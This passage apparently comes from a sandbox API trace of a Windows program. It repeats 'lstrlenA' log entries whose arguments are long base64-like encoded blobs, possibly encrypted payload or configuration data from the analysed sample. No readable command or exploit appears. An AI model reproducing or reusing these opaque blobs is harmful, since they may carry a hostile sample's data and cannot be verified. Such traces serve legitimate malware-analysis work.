dycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.633] lstrlenA (lpString="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") returned 5820
	[0084.633] lstrlenA (lpString="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") returned 5820
	[0084.633] lstrlenA (lpString="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